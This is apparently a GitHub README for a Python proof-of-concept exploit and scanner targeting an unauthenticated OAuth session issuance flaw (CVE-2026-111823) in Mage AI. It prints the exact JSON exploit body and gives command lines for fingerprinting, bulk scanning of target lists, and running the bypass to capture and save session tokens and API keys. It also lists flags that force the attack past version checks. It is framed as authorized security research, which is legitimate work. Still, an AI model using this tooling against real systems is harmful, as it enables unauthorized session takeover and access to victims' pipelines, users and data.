
Python PoC and checker for CVE-2026-111823, an unauthenticated session issuance flaw in Mage AI OAuth (POST /api/sessions). Supports fingerprinting, bulk targets, and token capture.
Security research tooling for CVE-2026-111823: unauthenticated session issuance on Mage OSS when an unknown OAuth provider is accepted on POST /api/sessions (fixed in commit 76c4f46).
Authorized testing only. Do not use against systems you do not own or lack written permission to test.
| Product | mage-ai (Mage OSS) |
| Affected | Through 0.9.80 (PyPI may still ship vulnerable builds; verify commit / patch) |
| Fixed | 76c4f46 / PR #6204 |
| CWE | CWE-390, CWE-287 |
| CVSS 3.1 | 9.8 (Critical, MITRE) |
| Default port | 6789 |
When token and provider are present, vulnerable SessionResource.create() resolves the provider. If the name is unknown, the code path still performs user lookup / creation using the request body email, without validating OAuth — then returns a normal session JWT.
Exploit body (same as upstream regression tests):
{
"session": {
"email": "[email protected]",
"token": "unverified",
"provider": "invalid"
}
}
Requires X-API-KEY (public OAuth client key from the Mage UI / docs). Instance must have require_user_authentication=true (default on OSS 0.9.78+).
CVE-2026-111823/
├── poc.py # CLI: check / exploit (default: exploit)
├── mage_core.py # Fingerprint, OAuth probe, session verify
├── requirements.txt
├── targets.example.txt # Bulk target list template
├── tests/
│ └── test_mage_core.py
└── .github/workflows/ # CI unit tests
git clone https://github.com/YOUR_USER/CVE-2026-111823.git
cd CVE-2026-111823
pip install -r requirements.txt
Fingerprint via GET /api/status, optional OAuth probe:
python poc.py --mode check -b http://127.0.0.1:6789
# Active probe (issues bypass request; may create a user if vulnerable)
python poc.py --mode check -b http://127.0.0.1:6789 --oauth-probe
Bulk:
cp targets.example.txt targets.txt
python poc.py -f targets.txt --mode check --oauth-probe -o results.jsonl
python poc.py -b http://127.0.0.1:6789 -e [email protected] --save-token session.json
| Flag | Purpose |
|---|---|
--api-key KEY | Override X-API-KEY (default: scrape HTML or docs example) |
--skip-version-check | Attempt even if version hint looks patched |
--force | Try bypass when require_user_authentication=false |
--save-token PATH | Save api_key + JWT for manual API use |
-o PATH | JSON / JSONL results |
On success the tool confirms API access (e.g. GET /api/pipelines or /api/users).
python -m unittest discover -s tests -t . -v
POST /api/sessions for unknown provider values.The original report describes post-auth exposure (version control, file explorer, terminal). Hardening: PR #6205, #6206. This PoC demonstrates session takeover / API access only.
This project is for defensive security research, patch validation, and authorized penetration testing. Misuse is prohibited. Authors assume no liability for unauthorized use.